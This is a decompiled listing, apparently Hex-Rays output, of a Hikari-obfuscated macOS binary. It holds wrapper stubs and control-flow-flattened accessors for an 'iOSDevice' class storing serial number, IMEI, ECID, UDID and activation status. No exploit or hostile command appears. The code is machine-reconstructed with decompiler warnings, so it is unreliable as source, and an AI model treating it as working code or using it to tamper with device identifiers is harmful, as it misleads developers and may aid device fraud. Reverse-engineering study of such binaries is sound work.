v31 = v35;
objc_release(v40);
objc_release(v31);
objc_release(v30);
objc_release(v36);
objc_release(v37);
return objc_autoreleaseReturnValue(key);
}
// 10005EABA: bad sp value at call
// 10005F2CD: variable 'v2' is possibly undefined
// 10025B688: using guessed type __CFString stru_10025B688;
// 100269D40: using guessed type __CFString stru_100269D40;
// 100269D80: using guessed type __CFString cfstr_FJ_0;
// 10029F358: using guessed type int dword_10029F358;
//----- (000000010005F920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_7(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005F930) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_680(void *a1, const char *a2)
{
return HikariFunctionWrapper_7(a1, a2);
}
//----- (000000010005F940) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_681(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005F950) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_682(void *a1, const char *a2)
{
return HikariFunctionWrapper_681(a1, a2);
}
//----- (000000010005F960) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_683(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005F970) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_684(void *a1, const char *a2)
{
return HikariFunctionWrapper_683(a1, a2);
}
//----- (000000010005F980) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_685(void *a1)
{
return objc_begin_catch(a1);
}
//----- (000000010005F990) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_686(void *a1)
{
return HikariFunctionWrapper_685(a1);
}
//----- (000000010005F9A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_687(NSString *a1)
{
NSLog(a1);
}
//----- (000000010005F9B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_688(NSString *a1)
{
HikariFunctionWrapper_687(a1);
}
//----- (000000010005F9C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_689(double a1)
{
initEncryption(a1);
}
//----- (000000010005F9D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_690(double a1)
{
HikariFunctionWrapper_689(a1);
}
//----- (000000010005F9E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_691(void *a1)
{
return objc_begin_catch(a1);
}
//----- (000000010005F9F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_692(void *a1)
{
return HikariFunctionWrapper_691(a1);
}
//----- (000000010005FA00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_693(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010005FA10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_694(objc_class *a1)
{
return HikariFunctionWrapper_693(a1);
}
//----- (000000010005FA20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_695(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005FA30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_696(void *a1, const char *a2)
{
return HikariFunctionWrapper_695(a1, a2);
}
//----- (000000010005FA40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_697(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005FA50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_698(void *a1, const char *a2)
{
return HikariFunctionWrapper_697(a1, a2);
}
//----- (000000010005FA60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_699(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005FA70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_700(void *a1, const char *a2)
{
return HikariFunctionWrapper_699(a1, a2);
}
//----- (000000010005FA80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_701(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010005FA90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_702(objc_class *a1)
{
return HikariFunctionWrapper_701(a1);
}
//----- (000000010005FAA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_703(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005FAB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_704(void *a1, const char *a2)
{
return HikariFunctionWrapper_703(a1, a2);
}
//----- (000000010005FAC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_705(double a1)
{
initEncryption(a1);
}
//----- (000000010005FAD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_706(double a1)
{
HikariFunctionWrapper_705(a1);
}
//----- (000000010005FAE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_707(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005FAF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_708(void *a1, const char *a2)
{
return HikariFunctionWrapper_707(a1, a2);
}
//----- (000000010005FB00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_709(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005FB20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_710(void *a1, const char *a2)
{
return HikariFunctionWrapper_709(a1, a2);
}
//----- (000000010005FB40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_711(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005FB50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_712(void *a1, const char *a2)
{
return HikariFunctionWrapper_711(a1, a2);
}
//----- (000000010005FB60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_713(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005FB70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_714(void *a1, const char *a2)
{
return HikariFunctionWrapper_713(a1, a2);
}
//----- (000000010005FB80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_715(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005FB90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_716(void *a1, const char *a2)
{
return HikariFunctionWrapper_715(a1, a2);
}
//----- (000000010005FBA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_717(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005FBB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_718(void *a1, const char *a2)
{
return HikariFunctionWrapper_717(a1, a2);
}
//----- (000000010005FBC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_719(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010005FBD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_720(void *a1, const char *a2)
{
return HikariFunctionWrapper_719(a1, a2);
}
//----- (000000010005FBE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_721(NSString *a1)
{
NSLog(a1);
}
//----- (000000010005FBF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_722(NSString *a1)
{
HikariFunctionWrapper_721(a1);
}
//----- (000000010005FC00) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_723()
{
objc_end_catch();
}
//----- (000000010005FC10) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_724()
{
HikariFunctionWrapper_723();
}
//----- (000000010005FC20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_725(double a1)
{
initEncryption(a1);
}
//----- (000000010005FC30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_726(double a1)
{
HikariFunctionWrapper_725(a1);
}
//----- (000000010005FC40) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_727()
{
objc_end_catch();
}
//----- (000000010005FC50) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_728()
{
HikariFunctionWrapper_727();
}
//----- (000000010005FC60) ----------------------------------------------------
NSString *__cdecl +[iOSDevice SerialNumber](id a1, SEL a2)
{
int v2; // eax
int v4; // [rsp+Ch] [rbp-24h] BYREF
id v5; // [rsp+10h] [rbp-20h]
int *v6; // [rsp+18h] [rbp-18h]
v5 = _SerialNumber;
objc_retain(_SerialNumber);
v4 = -1327897387;
v6 = &v4;
do
{
while ( 1 )
{
while ( v4 <= -1327897388 )
{
if ( v4 == -1721767005 )
{
objc_autoreleaseReturnValue(v5);
v2 = 464376174;
LABEL_11:
*v6 = v2;
}
else if ( v4 == -1575324206 )
{
objc_autoreleaseReturnValue(v5);
*v6 = -1721767005;
}
}
if ( v4 == -1327897387 )
{
v2 = -1721767005;
goto LABEL_11;
}
if ( v4 != 464376174 )
break;
*v6 = -781499890;
}
}
while ( v4 != -781499890 );
return (NSString *)v5;
}
//----- (000000010005FD60) ----------------------------------------------------
void __cdecl +[iOSDevice setSerialNumber:](id a1, SEL a2, id a3)
{
int v4; // eax
char v5; // cf
int v6; // ecx
id v7; // [rsp+0h] [rbp-40h]
int v8; // [rsp+Ch] [rbp-34h] BYREF
int *v9; // [rsp+10h] [rbp-30h]
v8 = -841094094;
v9 = &v8;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v8 <= -211200467 )
{
if ( v8 > -521254879 )
{
if ( v8 == -521254878 )
{
*v9 = -252003168;
}
else if ( v8 == -252003168 )
{
v7 = _SerialNumber;
*v9 = 893287325;
}
}
else if ( v8 == -1335094178 )
{
_SerialNumber = a3;
objc_release(v7);
*v9 = 376322568;
}
else if ( v8 == -841094094 )
{
v5 = 1;
v4 = 2009206461;
v6 = -211200466;
goto LABEL_21;
}
}
if ( v8 <= 893287324 )
break;
if ( v8 == 893287325 )
{
v5 = 1;
v4 = -1335094178;
v6 = 376322568;
goto LABEL_21;
}
if ( v8 == 2009206461 )
{
objc_retain(a3);
*v9 = -211200466;
}
}
if ( v8 != -211200466 )
break;
objc_retain(a3);
v5 = 0;
v4 = -521254878;
v6 = 2009206461;
LABEL_21:
if ( v5 )
v4 = v6;
LABEL_23:
*v9 = v4;
}
if ( v8 == 376322568 )
{
_SerialNumber = a3;
objc_release(v7);
v4 = 268851075;
goto LABEL_23;
}
}
while ( v8 != 268851075 );
}
// 10005FE8A: conditional instruction was optimized away because r14d.4==6938D8BD
// 10005FE73: variable 'v7' is possibly undefined
//----- (000000010005FFDB) ----------------------------------------------------
NSString *__cdecl +[iOSDevice IMEI](id a1, SEL a2)
{
int v2; // eax
int v4; // [rsp+4h] [rbp-3Ch] BYREF
id v5; // [rsp+8h] [rbp-38h]
int *v6; // [rsp+10h] [rbp-30h]
v4 = -2115754730;
v6 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v4 <= -301654565 )
{
if ( v4 > -1187331583 )
{
if ( v4 == -1187331582 )
{
v5 = _IMEI;
v2 = -301654564;
LABEL_20:
*v6 = v2;
}
else if ( v4 == -620273201 )
{
objc_autoreleaseReturnValue(v5);
v2 = -150493641;
goto LABEL_20;
}
}
else
{
if ( v4 == -2115754730 )
{
v2 = -1187331582;
goto LABEL_20;
}
if ( v4 == -1463627823 )
*v6 = -1187331582;
}
}
if ( v4 <= 1358543258 )
break;
if ( v4 == 1358543259 )
{
objc_autoreleaseReturnValue(v5);
*v6 = -620273201;
}
else if ( v4 == 1741956593 )
{
objc_retain(v5);
*v6 = 1161260585;
}
}
if ( v4 != -301654564 )
break;
*v6 = 1741956593;
}
if ( v4 == 1161260585 )
{
v2 = -620273201;
goto LABEL_20;
}
}
while ( v4 != -150493641 );
return (NSString *)v5;
}
// 10006017C: conditional instruction was optimized away because %var_40.4==78EFE1F6
//----- (00000001000601F7) ----------------------------------------------------
void __cdecl +[iOSDevice setIMEI:](id a1, SEL a2, id a3)
{
int v4; // eax
id v5; // rdi
id v6; // rdi
int v7; // [rsp+Ch] [rbp-34h] BYREF
int *v8; // [rsp+10h] [rbp-30h]
v7 = 2141608131;
v8 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > 371559237 )
{
if ( v7 > 1621352422 )
{
switch ( v7 )
{
case 1621352423:
*v8 = -1529392262;
break;
case 1840866372:
v6 = _IMEI;
_IMEI = a3;
objc_release(v6);
v4 = 1621352423;
LABEL_27:
*v8 = v4;
break;
case 2141608131:
v4 = 1447966521;
goto LABEL_27;
}
}
else
{
switch ( v7 )
{
case 371559238:
v4 = -634656311;
goto LABEL_27;
case 1186326083:
*v8 = 371559238;
break;
case 1447966521:
objc_retain(a3);
v4 = -1787188433;
goto LABEL_27;
}
}
}
if ( v7 > -634656312 )
break;
switch ( v7 )
{
case -1787188433:
*v8 = 83481287;
break;
case -1529392262:
v4 = 371559238;
goto LABEL_27;
case -854388701:
objc_retain(a3);
*v8 = 1447966521;
break;
}
}
if ( v7 != -13060889 )
break;
v5 = _IMEI;
_IMEI = a3;
objc_release(v5);
*v8 = 1840866372;
}
if ( v7 == 83481287 )
{
v4 = 1840866372;
goto LABEL_27;
}
}
while ( v7 != -634656311 );
}
// 1000602D1: conditional instruction was optimized away because r13d.4==6432AB9C
// 100060347: conditional instruction was optimized away because %var_38.4==DFB5FFFF
// 1000604C1: conditional instruction was optimized away because cf.1==1
//----- (00000001000604EA) ----------------------------------------------------
NSString *__cdecl +[iOSDevice ECID](id a1, SEL a2)
{
int v2; // eax
int v4; // [rsp+4h] [rbp-3Ch] BYREF
id v5; // [rsp+8h] [rbp-38h]
int *v6; // [rsp+10h] [rbp-30h]
v4 = 1987186078;
v6 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v4 > 224294025 )
{
if ( v4 > 1485059403 )
{
switch ( v4 )
{
case 1485059404:
*v6 = -1210071430;
break;
case 1624697513:
objc_retain(_ECID);
*v6 = 224294026;
break;
case 1987186078:
v2 = 224294026;
goto LABEL_24;
}
}
else
{
switch ( v4 )
{
case 224294026:
v5 = _ECID;
objc_retain(_ECID);
*v6 = 501513699;
break;
case 501513699:
*v6 = -1899973208;
break;
case 607830161:
v2 = -1956890591;
goto LABEL_24;
}
}
}
if ( v4 <= -1210071431 )
break;
switch ( v4 )
{
case -1210071430:
v2 = 607830161;
goto LABEL_24;
case -487248394:
*v6 = 607830161;
break;
case 56338106:
objc_autoreleaseReturnValue(v5);
*v6 = -1261016786;
break;
}
}
if ( v4 != -1899973208 )
break;
v2 = -1261016786;
LABEL_24:
*v6 = v2;
}
if ( v4 == -1261016786 )
{
objc_autoreleaseReturnValue(v5);
v2 = 1485059404;
goto LABEL_24;
}
}
while ( v4 != -1956890591 );
return (NSString *)v5;
}
// 100060621: conditional instruction was optimized away because %var_40.4==FFDFEF47
//----- (0000000100060794) ----------------------------------------------------
void __cdecl +[iOSDevice setECID:](id a1, SEL a2, id a3)
{
int v4; // eax
id v5; // [rsp+0h] [rbp-40h]
int v6; // [rsp+Ch] [rbp-34h] BYREF
int *v7; // [rsp+10h] [rbp-30h]
objc_retain(a3);
v6 = -284634997;
v7 = &v6;
do
{
while ( 1 )
{
while ( v6 > -186611975 )
{
if ( v6 > 1023244776 )
{
if ( v6 == 1023244777 )
{
v5 = _ECID;
v4 = 1741096034;
LABEL_19:
*v7 = v4;
}
else if ( v6 == 1741096034 )
{
*v7 = 76356359;
}
}
else if ( v6 == -186611974 )
{
_ECID = a3;
objc_release(v5);
*v7 = -1808069330;
}
else if ( v6 == 76356359 )
{
v4 = -1808069330;
goto LABEL_19;
}
}
if ( v6 <= -968651265 )
break;
if ( v6 == -968651264 )
{
*v7 = 1023244777;
}
else if ( v6 == -284634997 )
{
v4 = 1023244777;
goto LABEL_19;
}
}
if ( v6 == -1808069330 )
{
_ECID = a3;
objc_release(v5);
v4 = -1237401520;
goto LABEL_19;
}
}
while ( v6 != -1237401520 );
}
// 10006094F: variable 'v5' is possibly undefined
//----- (0000000100060A08) ----------------------------------------------------
NSString *__cdecl +[iOSDevice UDID](id a1, SEL a2)
{
int v2; // ecx
int v3; // eax
int v5; // [rsp+4h] [rbp-3Ch] BYREF
id v6; // [rsp+8h] [rbp-38h]
int *v7; // [rsp+10h] [rbp-30h]
v5 = 422211386;
v7 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v5 > 422211385 )
{
if ( v5 > 1175585009 )
{
if ( v5 == 1175585010 || v5 == 1291457712 )
{
*v7 = -2011751923;
}
else if ( v5 == 1710994941 )
{
objc_autoreleaseReturnValue(v6);
v3 = 221907102;
goto LABEL_24;
}
}
else
{
switch ( v5 )
{
case 422211386:
v3 = 281640820;
LABEL_24:
*v7 = v3;
break;
case 423261784:
*v7 = 1002371280;
break;
case 1002371280:
v2 = 1710994941;
LABEL_20:
v3 = v2;
goto LABEL_24;
}
}
}
if ( v5 > 221907101 )
break;
switch ( v5 )
{
case -2011751923:
v3 = 343140813;
goto LABEL_24;
case -1183888236:
objc_retain(_UDID);
*v7 = 281640820;
break;
case -235748115:
objc_autoreleaseReturnValue(v6);
*v7 = 1710994941;
break;
}
}
if ( v5 != 221907102 )
break;
*v7 = 1291457712;
}
if ( v5 == 281640820 )
{
v6 = _UDID;
objc_retain(_UDID);
v2 = 423261784;
goto LABEL_20;
}
}
while ( v5 != 343140813 );
return (NSString *)v6;
}
// 100060C54: conditional instruction was optimized away because %var_40.4==A1002811
//----- (0000000100060CB7) ----------------------------------------------------
void __cdecl +[iOSDevice setUDID:](id a1, SEL a2, id a3)
{
int v4; // eax
id v5; // [rsp+0h] [rbp-40h]
int v6; // [rsp+Ch] [rbp-34h] BYREF
int *v7; // [rsp+10h] [rbp-30h]
v6 = 1005022243;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > 767337395 )
{
if ( v6 > 1458722618 )
{
if ( v6 == 1458722619 )
{
objc_release(v5);
v4 = -1128541888;
LABEL_20:
*v7 = v4;
}
else if ( v6 == 1547373232 )
{
v4 = 1458722619;
goto LABEL_20;
}
}
else if ( v6 == 767337396 )
{
v5 = _UDID;
_UDID = a3;
*v7 = 1547373232;
}
else if ( v6 == 1005022243 )
{
v4 = -598542625;
goto LABEL_20;
}
}
if ( v6 <= -598542626 )
break;
if ( v6 == -598542625 )
{
objc_retain(a3);
v4 = 166517904;
goto LABEL_20;
}
if ( v6 == 166517904 )
*v7 = 767337396;
}
if ( v6 != -1607801808 )
break;
objc_retain(a3);
*v7 = -598542625;
}
if ( v6 != -611671978 )
break;
objc_release(v5);
*v7 = 1458722619;
}
}
while ( v6 != -1128541888 );
}
// 100060D79: conditional instruction was optimized away because %var_38.4==FFF7FFFF
// 100060D42: variable 'v5' is possibly undefined
//----- (0000000100060F33) ----------------------------------------------------
NSString *__cdecl +[iOSDevice RegionCode](id a1, SEL a2)
{
int v2; // eax
int v4; // [rsp+4h] [rbp-2Ch] BYREF
id v5; // [rsp+8h] [rbp-28h]
int *v6; // [rsp+10h] [rbp-20h]
v5 = (id)_RegionCode;
v4 = -1864401413;
v6 = &v4;
do
{
while ( 1 )
{
while ( v4 <= 65643074 )
{
if ( v4 == -1864401413 )
{
objc_retain(v5);
objc_autoreleaseReturnValue(v5);
*v6 = -1323467679;
}
else if ( v4 == -1323467679 )
{
v2 = 1879612024;
LABEL_9:
*v6 = v2;
}
}
if ( v4 != 269315585 )
break;
*v6 = 1879612024;
}
if ( v4 == 1879612024 )
{
v2 = 65643075;
goto LABEL_9;
}
}
while ( v4 != 65643075 );
return (NSString *)v5;
}
// 10029F3B0: using guessed type __int64 _RegionCode;
//----- (0000000100061039) ----------------------------------------------------
void __cdecl +[iOSDevice setRegionCode:](id a1, SEL a2, id a3)
{
int v4; // eax
id v5; // [rsp+0h] [rbp-40h]
int v6; // [rsp+Ch] [rbp-34h] BYREF
int *v7; // [rsp+10h] [rbp-30h]
objc_retain(a3);
v6 = 1633106853;
v7 = &v6;
do
{
while ( 1 )
{
while ( v6 <= 531121479 )
{
if ( v6 > -1213584255 )
{
if ( v6 == -1213584254 )
{
*v7 = 531121480;
}
else if ( v6 == -409574061 )
{
_RegionCode = (__int64)a3;
objc_release(v5);
*v7 = -1958668018;
}
}
else if ( v6 == -1958668018 )
{
_RegionCode = (__int64)a3;
objc_release(v5);
*v7 = 720248183;
}
else if ( v6 == -1255598818 )
{
*v7 = 1606209918;
}
}
if ( v6 <= 1606209917 )
break;
if ( v6 == 1606209918 )
{
v4 = -1958668018;
LABEL_17:
*v7 = v4;
}
else if ( v6 == 1633106853 )
{
v4 = 531121480;
goto LABEL_17;
}
}
if ( v6 == 531121480 )
{
v5 = (id)_RegionCode;
v4 = -1255598818;
goto LABEL_17;
}
}
while ( v6 != 720248183 );
}
// 100061133: variable 'v5' is possibly undefined
// 10029F3B0: using guessed type __int64 _RegionCode;
//----- (000000010006121D) ----------------------------------------------------
NSString *__cdecl +[iOSDevice ProductType](id a1, SEL a2)
{
int v2; // eax
id v4; // [rsp+0h] [rbp-30h]
int v5; // [rsp+Ch] [rbp-24h] BYREF
int *v6; // [rsp+10h] [rbp-20h]
v5 = 172759411;
v6 = &v5;
do
{
while ( 1 )
{
while ( v5 <= -913266366 )
{
switch ( v5 )
{
case -2043652878:
v4 = _ProductType;
objc_retain(_ProductType);
v2 = -2036257011;
LABEL_11:
*v6 = v2;
break;
case -2036257011:
*v6 = -1708336011;
break;
case -1708336011:
objc_autoreleaseReturnValue(v4);
*v6 = -913266365;
break;
}
}
if ( v5 != -397569161 )
break;
objc_retain(_ProductType);
*v6 = -2043652878;
}
if ( v5 == 172759411 )
{
v2 = -2043652878;
goto LABEL_11;
}
}
while ( v5 != -913266365 );
return (NSString *)v4;
}
// 1000612AE: variable 'v4' is possibly undefined
//----- (000000010006137F) ----------------------------------------------------
void __cdecl +[iOSDevice setProductType:](id a1, SEL a2, id a3)
{
int v4; // eax
id v5; // [rsp+0h] [rbp-40h]
int v6; // [rsp+Ch] [rbp-34h] BYREF
int *v7; // [rsp+10h] [rbp-30h]
v6 = 2063678715;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > 1077669858 )
{
if ( v6 > 2051878265 )
{
if ( v6 == 2051878266 )
{
objc_retain(a3);
*v7 = -1754235510;
}
else if ( v6 == 2063678715 )
{
v4 = -1754235510;
goto LABEL_21;
}
}
else if ( v6 == 1077669859 )
{
*v7 = -611439056;
}
else if ( v6 == 1554502657 )
{
v4 = -183267531;
goto LABEL_21;
}
}
if ( v6 <= -183267532 )
break;
if ( v6 == -183267531 )
{
_ProductType = a3;
objc_release(v5);
v4 = -1206259360;
goto LABEL_21;
}
if ( v6 == 693373945 )
{
_ProductType = a3;
objc_release(v5);
*v7 = -183267531;
}
}
if ( v6 != -1754235510 )
break;
objc_retain(a3);
v4 = 1077669859;
LABEL_21:
*v7 = v4;
}
if ( v6 != -611439056 )
break;
v5 = _ProductType;
*v7 = 1554502657;
}
}
while ( v6 != -1206259360 );
}
// 1000614B9: variable 'v5' is possibly undefined
//----- (00000001000615C6) ----------------------------------------------------
NSString *__cdecl +[iOSDevice iOSVersion](id a1, SEL a2)
{
int v2; // eax
int v3; // ecx
int v4; // ecx
int v6; // [rsp+4h] [rbp-3Ch] BYREF
id v7; // [rsp+8h] [rbp-38h]
int *v8; // [rsp+10h] [rbp-30h]
v6 = -830966248;
v8 = &v6;
do
{
while ( 1 )
{
while ( v6 > -12367783 )
{
if ( v6 > 1452095422 )
{
switch ( v6 )
{
case 1452095423:
objc_retain(v7);
v4 = -1897683146;
LABEL_26:
v2 = v4;
LABEL_27:
*v8 = v2;
break;
case 1707442298:
*v8 = 2106718545;
break;
case 2106718545:
v7 = (id)_iOSVersion;
v2 = -1695176667;
goto LABEL_27;
}
}
else
{
switch ( v6 )
{
case -12367782:
v2 = 1452095423;
goto LABEL_27;
case 452061220:
objc_autoreleaseReturnValue(v7);
*v8 = -1845574277;
break;
case 804710126:
objc_retain(v7);
*v8 = 1452095423;
break;
}
}
}
if ( v6 > -830966249 )
break;
switch ( v6 )
{
case -1897683146:
*v8 = -224979925;
break;
case -1845574277:
objc_autoreleaseReturnValue(v7);
v4 = -255263941;
goto LABEL_26;
case -1695176667:
*v8 = -12367782;
break;
}
}
if ( v6 == -830966248 )
{
v3 = 2106718545;
goto LABEL_24;
}
if ( v6 == -224979925 )
{
v3 = -1845574277;
LABEL_24:
v2 = v3;
goto LABEL_27;
}
}
while ( v6 != -255263941 );
return (NSString *)v7;
}
// 10029F380: using guessed type __int64 _iOSVersion;
//----- (0000000100061901) ----------------------------------------------------
void __cdecl +[iOSDevice setIOSVersion:](id a1, SEL a2, id a3)
{
char v4; // cf
int v5; // eax
int v6; // ecx
char v7; // cf
int v8; // ecx
id v9; // [rsp+0h] [rbp-40h]
int v10; // [rsp+Ch] [rbp-34h] BYREF
int *v11; // [rsp+10h] [rbp-30h]
v10 = 220229988;
v11 = &v10;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v10 > 1311372544 )
{
if ( v10 > 1686480733 )
{
switch ( v10 )
{
case 1686480734:
*v11 = -973020886;
break;
case 1963979510:
*v11 = -142466857;
break;
case 2140207092:
objc_retain(a3);
_iOSVersion = (__int64)a3;
*v11 = -1820344136;
break;
}
}
else
{
switch ( v10 )
{
case 1311372545:
v7 = 1;
v5 = 1963979510;
v8 = -142466857;
LABEL_23:
if ( v7 )
v5 = v8;
goto LABEL_30;
case 1314576555:
*v11 = 1311372545;
break;
case 1469911298:
objc_release(v9);
goto LABEL_20;
}
}
}
if ( v10 > 184740605 )
break;
switch ( v10 )
{
case -1820344136:
objc_retain(a3);
v4 = 0;
v9 = (id)_iOSVersion;
_iOSVersion = (__int64)a3;
v5 = 2140207092;
v6 = 1686480734;
goto LABEL_28;
case -973020886:
LABEL_20:
*v11 = 184740606;
break;
case -142466857:
v4 = 1;
v5 = 1050325247;
v6 = 1963979510;
goto LABEL_28;
}
}
if ( v10 != 184740606 )
break;
objc_release(v9);
v4 = 1;
v5 = 1314576555;
v6 = 1469911298;
LABEL_28:
if ( !v4 )
v5 = v6;
LABEL_30:
*v11 = v5;
}
if ( v10 == 220229988 )
{
v7 = 0;
v5 = -1820344136;
v8 = 2140207092;
goto LABEL_23;
}
}
while ( v10 != 1050325247 );
}
// 10006198C: variable 'v9' is possibly undefined
// 10029F380: using guessed type __int64 _iOSVersion;
//----- (0000000100061C0E) ----------------------------------------------------
NSString *__cdecl +[iOSDevice ActStatus](id a1, SEL a2)
{
int v2; // eax
char v3; // cf
int v5; // [rsp+4h] [rbp-3Ch] BYREF
id v6; // [rsp+8h] [rbp-38h]
int *v7; // [rsp+10h] [rbp-30h]
v5 = 51883438;
v7 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v5 > 1066459687 )
{
if ( v5 > 1470237919 )
{
if ( v5 == 1470237920 )
{
*v7 = 1066459688;
}
else if ( v5 == 1619325639 )
{
v3 = 0;
v2 = -128503226;
goto LABEL_18;
}
}
else
{
if ( v5 == 1066459688 )
{
v6 = (id)_ActStatus;
v2 = 1298798161;
goto LABEL_22;
}
if ( v5 == 1298798161 )
*v7 = 1619325639;
}
}
if ( v5 > -286781318 )
break;
if ( v5 == -648385744 )
{
objc_retain(v6);
objc_autoreleaseReturnValue(v6);
v3 = 1;
v2 = -515379497;
LABEL_18:
if ( !v3 )
v2 = -648385744;
LABEL_22:
*v7 = v2;
}
else if ( v5 == -515379497 )
{
*v7 = -286781317;
}
}
if ( v5 != -128503226 )
break;
objc_retain(v6);
objc_autoreleaseReturnValue(v6);
*v7 = -648385744;
}
if ( v5 == 51883438 )
{
v2 = 1066459688;
goto LABEL_22;
}
}
while ( v5 != -286781317 );
return (NSString *)v6;
}
// 100061CAC: conditional instruction was optimized away because %var_40.4==6
// 10029F388: using guessed type __int64 _ActStatus;
//----- (0000000100061E12) ----------------------------------------------------
void __cdecl +[iOSDevice setActStatus:](id a1, SEL a2, id a3)
{
int v4; // eax
int v5; // ecx
id v6; // [rsp+0h] [rbp-40h]
int v7; // [rsp+Ch] [rbp-34h] BYREF
int *v8; // [rsp+10h] [rbp-30h]
objc_retain(a3);
v6 = (id)_ActStatus;
v7 = -710926431;
v8 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= 157363615 )
{
if ( v7 > -710926432 )
{
if ( v7 == -710926431 )
{
v5 = 1022760613;
goto LABEL_19;
}
if ( v7 == 84594052 )
{
_ActStatus = (__int64)a3;
*v8 = 1022760613;
}
}
else if ( v7 == -1372468209 )
{
v5 = 1067648620;
LABEL_19:
v4 = v5;
LABEL_20:
*v8 = v4;
}
else if ( v7 == -780390725 )
{
objc_release(v6);
*v8 = 1067648620;
}
}
if ( v7 <= 1022760612 )
break;
if ( v7 == 1022760613 )
{
_ActStatus = (__int64)a3;
v4 = 363559692;
goto LABEL_20;
}
if ( v7 == 1067648620 )
{
objc_release(v6);
v4 = 157363616;
goto LABEL_20;
}
}
if ( v7 != 363559692 )
break;
*v8 = -1372468209;
}
}
while ( v7 != 157363616 );
}
// 10029F388: using guessed type __int64 _ActStatus;
